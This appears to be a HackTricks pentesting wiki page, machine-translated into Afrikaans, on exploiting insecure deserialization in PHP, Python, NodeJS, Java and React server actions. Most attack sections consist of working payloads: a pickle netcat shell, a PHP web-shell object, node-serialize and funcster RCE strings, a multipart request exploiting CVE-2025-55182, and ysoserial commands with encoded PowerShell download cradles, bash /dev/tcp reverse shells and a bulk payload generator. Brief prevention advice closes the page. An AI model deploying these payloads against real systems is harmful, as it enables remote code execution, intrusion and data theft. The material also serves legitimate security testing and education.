Deserialization

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Serialization word verstaan as die metode om ’n object in ’n formaat om te skakel wat bewaar kan word, met die doel om óf die object te stoor óf dit as deel van ’n kommunikasieproses te stuur. Hierdie tegniek word algemeen gebruik om te verseker dat die object later weer geskep kan word, en dat sy struktuur en toestand behoue bly.

Deserialization, daarenteen, is die proses wat Serialization teengaan. Dit behels die neem van data wat in ’n spesifieke formaat gestruktureer is en dit terug te bou in ’n object.

Deserialization kan gevaarlik wees omdat dit moontlik toelaat dat aanvallers die serialized data manipuleer om schadlike kode uit te voer of onvoorsiene gedrag in die toepassing veroorsaak tydens die objek-herstelproses.

PHP

In PHP word spesifieke magic methods gebruik tydens die serialization- en deserialization-prosesse:

  • __sleep: Aangeroep wanneer ’n object geserialiseer word. Hierdie metode moet ’n array teruggee van die name van al die eienskappe van die object wat geserialiseer moet word. Dit word dikwels gebruik om hangende data weg te skryf of soortgelyke opruimtake uit te voer.
  • __wakeup: Aangeroep wanneer ’n object gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens Serialization verlore geraak het, te herstel en ander herinitialiseringstake uit te voer.
  • __unserialize: Hierdie metode word aangeroep in plaas van __wakeup (indien dit bestaan) wanneer ’n object gedeserialiseer word. Dit bied meer beheer oor die deserialization-proses in vergelyking met __wakeup.
  • __destruct: Hierdie metode word aangeroep wanneer ’n object op die punt staat is om vernietig te word of wanneer die script eindig. Dit word tipies gebruik vir opruimtake, soos om lêerhandvatsels of databasisverbindinge te sluit.
  • __toString: Hierdie metode laat ’n object toe om as ’n string beskou te word. Dit kan gebruik word om ’n lêer te lees of ander take uit te voer gebaseer op die funksie-oproepe daarin, en bied effektief ’n tekstuele voorstelling van die object.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

As jy na die resultate kyk, kan jy sien dat die funksies __wakeup en __destruct aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat in verskeie handleidings jy sal vind dat die __toString funksie aangeroep word wanneer jy probeer om ’n attribuut te print, maar blykbaar gebeur dit nie meer nie.

Warning

Die metode __unserialize(array $data) word aangeroep in plaas van __wakeup() indien dit in die klas geïmplementeer is. Dit laat jou toe om die objek te unserialize deur die serialized data as ’n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te unserialize en enige nodige take by deserialisering uit te voer.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Jy kan ’n verduidelikte PHP-voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers kan gedwing word om arbitrêre gadget graphs te instantiate (met of sonder APP_KEY) om Laravel Queueable/SerializableClosure sinks te bereik:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

Indien jy om een of ander rede ’n waarde as ’n reference to another value serialized wil serialize, kan jy:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Voorkoming van PHP Object Injection met allowed_classes

[!INFO] Ondersteuning vir die tweede argument van unserialize() (die $options array) is bygevoeg in PHP 7.0. Op ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geïnstantieer mag word.

unserialize() sal elke klas instansieer wat dit in die geserialiseerde stroom kry, tensy anders gesê. Sedert PHP 7 kan die gedrag beperk word met die allowed_classes opsie:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Indien allowed_classes weggelaat word of die kode op PHP < 7.0 loop, word die oproep gevaarlik, aangesien ’n aanvaller ’n payload kan saamstel wat magic methods soos __wakeup() of __destruct() misbruik om Remote Code Execution (RCE) te bewerkstellig.

Werklike voorbeeld: Everest Forms (WordPress) CVE-2025-52709

Die WordPress-plugin Everest Forms ≤ 3.2.2 het probeer om verdedigend op te tree met ’n helper wrapper, maar het die ouer PHP-weergawes vergeet:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Op bedieners wat nog PHP ≤ 7.0 gedryf het, het hierdie tweede tak tot ’n klassieke PHP Object Injection gelei toe ’n administrateur ’n kwaadwillige vorminskrywing oopgemaak het. ’n minimale exploit payload kon soos volg lyk:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Sodra die admin die inskrywing besigtig het, is die object geïnstantieer en SomeClass::__destruct() is uitgevoer, wat gelei het tot arbitrary code execution.

Belangrike punte

  1. Gee altyd ['allowed_classes' => false] (of ’n streng white-list) wanneer unserialize() geroep word.
  2. Kontroleer defensiewe wrappers – hulle vergeet dikwels die legacy PHP-takke.
  3. Om net op te gradeer na PHP ≥ 7.x is nie voldoende nie: die opsie moet steeds eksplisiet verskaf word.

PHPGGC (ysoserial for PHP)

PHPGGC kan jou help om payloads te genereer om PHP deserializations te misbruik.
Let daarop dat jy in verskeie gevalle nie ’n manier sal vind om ’n deserialization in die bronkode van die toepassing te misbruik nie, maar jy mag wel die kode van eksterne PHP-extensions misbruik.
As jy kan, kyk die phpinfo() van die bediener en soek op die internet (en selfs na die gadgets van PHPGGC) vir moontlike gadgets wat jy kan misbruik.

phar:// metadata deserialization

As jy ’n LFI gevind het wat net die lêer lees en nie die PHP-kode daarin uitvoer nie, byvoorbeeld wanneer funksies soos file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize() gebruik word. Jy kan probeer om ’n deserialization te misbruik wat voorkom wanneer ’n lêer deur die phar-protocol gelees word.
Vir meer inligting lees die volgende pos:

phar:// deserialization

Python

Pickle

Wanneer die object ge-unpickle word, sal die funksie ___reduce___ uitgevoer word.
Wanneer dit uitgebuit word, kan die bediener ’n fout teruggee.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Voordat jy die bypass-tegniek nagaan, probeer om print(base64.b64encode(pickle.dumps(P(),2))) te gebruik om ’n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.

Vir meer inligting oor ontsnapping uit pickle jails kyk:

Bypass Python sandboxes

Yaml & jsonpickle

Die volgende bladsy beskryf die tegniek om ’n onveilige deserialisasie in yamls python libraries te misbruik en sluit af met ’n hulpmiddel wat gebruik kan word om RCE deserialisasie payloads te genereer vir Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS het nie “magic” funksies soos PHP of Python wat uitgevoer word net deur ’n objek te skep nie. Maar dit het sekere funksies wat gereeld gebruik word selfs sonder om hulle direk aan te roep soos toString, valueOf, toJSON.
As jy ’n deserialisasie misbruik, kan jy hierdie funksies kompromitteer om ander kode uit te voer (potensieel deur prototype pollutions te misbruik) en sodoende arbitrêre kode uit te voer wanneer hulle aangeroep word.

Nog ’n “magic” manier om ’n funksie aan te roep sonder om dit direk aan te roep is deur ’n objek te kompromitteer wat teruggegee word deur ’n async funksie (promise). Want, as jy daardie return object in ’n ander promise omskakel met ’n eienskap genaamd “then” of tipe function, sal dit uitgevoer word net omdat dit deur ’n ander promise teruggegee word. Volg hierdie skakel vir meer info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

As jy meer oor hierdie tegniek wil leer kyk na die volgende tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Hierdie biblioteek laat toe om funksies te serialiseer. Voorbeeld:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Die serialised object sal soos volg lyk:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Jy kan in die voorbeeld sien dat wanneer ’n funksie geserialiseer word die _$$ND_FUNC$$_ vlag by die geserialiseerde objek aangeheg word.

In die lêer node-serialize/lib/serialize.js vind jy dieselfde vlag en hoe die kode dit gebruik.

Soos jy in die laaste kodefragment kan sien, as die vlag gevind word word eval gebruik om die funksie te deserialiseer, so basies word user input binne die eval funksie gebruik.

Maar, net deur ’n funksie te serialiseer sal dit nie uitgevoer word nie aangesien dit nodig sou wees dat ’n deel van die kode y.rce aanroep in ons voorbeeld en dit is hoogs onwaarskynlik.
Enigsins, jy kan net die geserialiseerde objek wysig deur ’n paar haakies by te voeg sodat die geserialiseerde funksie outomaties uitgevoer word wanneer die objek deserialiseer word.
In die volgende kodefragment let op die laaste haakie en hoe die unserialize funksie die kode outomaties sal uitvoer:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Soos vroeër aangedui, sal hierdie biblioteek die kode ná _$$ND_FUNC$$_ kry en dit met eval uitvoer. Daarom, om kode outomaties uit te voer kan jy die gedeelte wat die funksie skep en die laaste hakie verwyder en net ’n JS oneliner uitvoer soos in die volgende voorbeeld:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here verdere inligting oor hoe om hierdie kwesbaarheid uit te buit.

funcster

’n Opvallende aspek van funcster is die onbereikbaarheid van standard built-in objects; hulle val buite die toeganklike omvang. Hierdie beperking voorkom dat kode uitgevoer word wat probeer om metodes op ingeboude objekte aan te roep, en veroorsaak uitsonderings soos “ReferenceError: console is not defined” wanneer opdragte soos console.log() of require(something) gebruik word.

Ten spyte van hierdie beperking is dit moontlik om volle toegang tot die globale konteks, insluitend alle standard built-in objects, te herstel deur ’n spesifieke benadering. Deur die globale konteks direk te benut, kan mens hierdie beperking omseil. Byvoorbeeld, toegang kan heringestel word met die volgende snip:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Vir more information read this source.

serialize-javascript

Die serialize-javascript pakket is uitsluitlik ontwerp vir serialisering en het geen ingeboude deserialiseringsvermoëns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialisering te implementeer. Die amptelike voorbeeld stel die direkte gebruik van eval voor om geserialiseerde data te deserialiseer:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

As hierdie funksie gebruik word om objekte te deserialiseer, kan jy dit gemaklik uitbuit:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Vir meer inligting lees hierdie bron.

Cryo library

In die volgende bladsye kan jy inligting vind oor hoe om hierdie library te misbruik om arbitrêre opdragte uit te voer:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) vertrou op react-server-dom-webpack (RSDW) om server action-indienings te dekodeer wat as multipart/form-data gestuur word. Elke action-indiening bevat:

  • $ACTION_REF_<n> parts that reference the action being invoked.
  • $ACTION_<n>:<m> parts whose body is JSON such as {"id":"module-path#export","bound":[arg0,arg1,...]}.

In version 19.2.0 die decodeAction(formData, serverManifest) helper vertrou blindelings beide die id string (wat bepaal watter module-export aangeroep word) en die bound array (die argumente). As ’n aanvaller die endpoint kan bereik wat versoeke aan decodeAction deurstuur, kan hulle enige uitgevoerde server action aanroep met aanvaller-beheerde parameters, selfs sonder ’n React front-end (CVE-2025-55182). Die end-to-end resep is:

  1. Leer die action-identifiseerder. Bundle output, error traces or leaked manifests openbaar gewoonlik stringe soos app/server-actions#generateReport.
  2. Herskep die multipart payload. Stel ’n $ACTION_REF_0 part op en ’n $ACTION_0:0 JSON-lichaam wat die identifiseerder en arbitrêre argumente dra.
  3. Laat decodeAction dit afhandel. Die helper los die module uit serverManifest op, importeer die export, en gee ’n callable terug wat die server onmiddellik uitvoer.

Voorbeeld payload wat /formaction tref:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Of met curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Die bound array vul direk die server-action parameters. In die kwesbare lab lyk die gadget soos:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

’n Aanvaller het nooit ’n werklike React-kliënt nodig nie—enige HTTP-instrument wat die $ACTION_* multipart-vorm uitstuur kan direk server-aksies aanroep en die resulterende JSON-uitset in ’n RCE-primitive skakel.

Java - HTTP

In Java word deserialisering-callbacks uitgevoer tydens die deserialiseringsproses. Hierdie uitvoering kan uitgebuit word deur aanvallers wat kwaadwillige payloads saamstel wat hierdie callbacks aktiveer, wat kan lei tot die uitvoering van skadelike aksies.

Fingerprints

White Box

Om potensiële serialisering-kwesbaarhede in die codebase te identifiseer, soek na:

  • Klasse wat die Serializable interface implementeer.
  • Gebruik van java.io.ObjectInputStream, readObject, readUnshare funksies.

Gee ekstra aandag aan:

  • XMLDecoder wat gebruik word met parameters wat deur eksterne gebruikers gedefinieer is.
  • XStream se fromXML metode, veral as die XStream-weergawe ≤ 1.46 is, aangesien dit vatbaar is vir serialiseringsprobleme.
  • ObjectInputStream saam met die readObject metode.
  • Implementering van metodes soos readObject, readObjectNodData, readResolve, of readExternal.
  • ObjectInputStream.readUnshared.
  • Algemene gebruik van Serializable.

Black Box

Vir black box-toetsing, soek spesifieke handtekeninge of “Magic Bytes” wat java serialized objects aandui (voortkomend uit ObjectInputStream):

  • Heksadesimale patroon: AC ED 00 05.
  • Base64-patroon: rO0.
  • HTTP-antwoordkoppe met Content-type gestel op application/x-java-serialized-object.
  • Heksadesimale patroon wat vooraf kompressie aandui: 1F 8B 08 00.
  • Base64-patroon wat vooraf kompressie aandui: H4sIA.
  • Web-lêers met die .faces uitbreiding en die faces.ViewState parameter. Die ontdekking van hierdie patrone in ’n webtoepassing behoort ’n ondersoek te veroorsaak soos uiteengesit in die post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Kontroleer of dit kwesbaar is

As jy wil learn about how does a Java Deserialized exploit work moet jy kyk na Basic Java Deserialization, Java DNS Deserialization, en CommonsCollection1 Payload.

SignedObject-gated deserialization en pre-auth bereikbaarheid

Moderne codebasisse kapsel soms deserialization in met java.security.SignedObject en valideer ’n handtekening voordat getObject() aangeroep word (wat die interne object deserialiseer). Dit keer willekeurige top-level gadget classes af, maar kan steeds uitgebuit word as ’n aanvaller ’n geldige handtekening kan verkry (bv. private-key compromise of ’n signing oracle). Verder kan fout-hanteringsvloei session-bound tokens uitreik vir unauthenticated users, en sodoende andersins beskermde sinks pre-auth openbaar maak.

Vir ’n konkrete gevallestudie met versoeke, IoCs, en verhardingsriglyne, sien:

Java Signedobject Gated Deserialization

White Box Test

Jy kan nagaan of enige toepassing met bekende kwesbaarhede geïnstalleer is.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Jy kan probeer om alle biblioteke te kontroleer wat bekend is as kwesbaar en waarvoor Ysoserial ’n exploit kan verskaf. Of jy kan die biblioteke nagaan wat op Java-Deserialization-Cheat-Sheet aangedui word.
Jy kan ook gadgetinspector gebruik om te soek na moontlike gadget chains wat uitgebuit kan word.
Wanneer jy gadgetinspector laat loop (na dit gebou is) ignoreer die hoop waarskuwings/foute wat dit deurgaan en laat dit klaar hardloop. Dit sal al die bevindinge skryf onder gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Neem asseblief kennis dat gadgetinspector nie ’n exploit sal skep nie en dit vals positiewe kan aandui.

Black Box Test

Deur die Burp uitbreiding gadgetprobe te gebruik kan jy identifiseer watter biblioteke beskikbaar is (en selfs die weergawes). Met hierdie inligting kan dit makliker wees om ’n payload te kies om die kwesbaarheid te exploit.
Lees dit om meer oor GadgetProbe te leer.
GadgetProbe fokus op ObjectInputStream deserializations.

Deur die Burp uitbreiding Java Deserialization Scanner te gebruik kan jy kwetsbare biblioteke identifiseer wat met ysoserial uitgebuit kan word en hulle exploit.
Lees dit om meer te leer oor Java Deserialization Scanner.
Java Deserialization Scanner fokus op ObjectInputStream deserializations.

Jy kan ook Freddy gebruik om deserializations-kwesbaarhede in Burp op te spoor. Hierdie plugin sal nie net ObjectInputStream-verwante kwesbaarhede opspoor nie, maar ook vulns van Json en Yml deserialisasie-biblioteke. In aktiewe modus sal dit probeer om dit te bevestig deur sleep- of DNS-payloads te gebruik.
Jy kan hier meer inligting oor Freddy vind.

Serialization Test

Dit gaan nie net daaroor om te kyk of ’n kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy die data binne die serialized object verander en sekere kontroles omseil (miskien gee dit jou admin-regte in ’n webapp).
As jy ’n java serialized object vind wat na ’n webtoepassing gestuur word, kan jy SerializationDumper gebruik om die serialization object wat gestuur word in ’n meer mensleesbare formaat te druk. As jy weet watter data jy stuur, sal dit makliker wees om dit te verander en sekere kontroles te omseil.

Exploit

ysoserial

Die hoofinstrument om Java deserializations te exploit is ysoserial (download here). Jy kan ook oorweeg om ysoseral-modified te gebruik wat jou toelaat om komplekse opdragte te gebruik (byvoorbeeld met pipes).
Neem kennis dat hierdie tool gefokus is op die exploit van ObjectInputStream.
Ek sou begin deur die “URLDNS” payload te gebruik voor ’n RCE payload om te toets of die injectie moontlik is. Let wel dat dit moontlik is dat die “URLDNS” payload nie werk nie, maar ’n ander RCE payload wel.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wanneer jy ’n payload vir java.lang.Runtime.exec() skep, kan jy nie spesiale karakters soos “>” of “|” gebruik om die uitvoer van ’n uitvoering te herlei, “$()” om opdragte uit te voer of selfs argumente aan ’n opdrag deur spasies te gee (jy kan echo -n "hello world" doen, maar jy kan nie python2 -c 'print "Hello world"' doen nie). In order to encode correctly the payload you could use this webpage.

Voel vry om die volgende script te gebruik om all the possible code execution payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Jy kan gebruik https://github.com/pwntester/SerialKillerBypassGadgetCollection saam met ysoserial om meer exploits te skep. Meer inligting oor hierdie tool in die skyfies van die praatjie waar die tool aangebied is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialisering-biblioteke in Java te exploiteer.
Om die projek te compileer moes ek hierdie dependencies by pom.xml byvoeg:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installeer maven, en kompileer die projek:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lees meer oor hierdie Java JSON-biblioteek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Waarom

Java gebruik baie serialisering vir verskeie doeleindes soos:

  • HTTP requests: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, cookies, ens.
  • RMI (Remote Method Invocation): Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is ’n hoeksteen vir afstandskommunikasie in Java-toepassings.
  • RMI over HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde thick client webtoepassings, wat serialisering gebruik vir alle objekkommunikasie.
  • JMX (Java Management Extensions): JMX gebruik serialisering om objekte oor die netwerk te stuur.
  • Custom Protocols: In Java behels die standaardpraktyk die oordrag van rou Java-objekte, wat in komende exploit-voorbeelde gedemonstreer sal word.

Prevention

Transient objects

’n klas wat Serializable implementeer, kan enige objek binne die klas as transient merk as dit nie geserialiseer moet word nie. Byvoorbeeld:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermy Serialization van ’n klas wat Serializable moet implementeer

In scenario’s waar sekere objekte moet die Serializable interface implementeer as gevolg van klas-hiërargie, is daar ’n risiko van onbedoelde deserialization. Om dit te voorkom, maak seker dat hierdie objekte nie-deserialiseerbaar is deur ’n final readObject() metode te definieer wat konsekwent ’n uitsondering gooi, soos hieronder getoon:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbetering van Deserialization-sekuriteit in Java

Aanpassing van java.io.ObjectInputStream is ’n praktiese benadering om deserialization-prosesse te beveilig. Hierdie metode is geskik wanneer:

  • Die deserialization-kode is onder jou beheer.
  • Die klasse wat vir deserialization verwag word, is bekend.

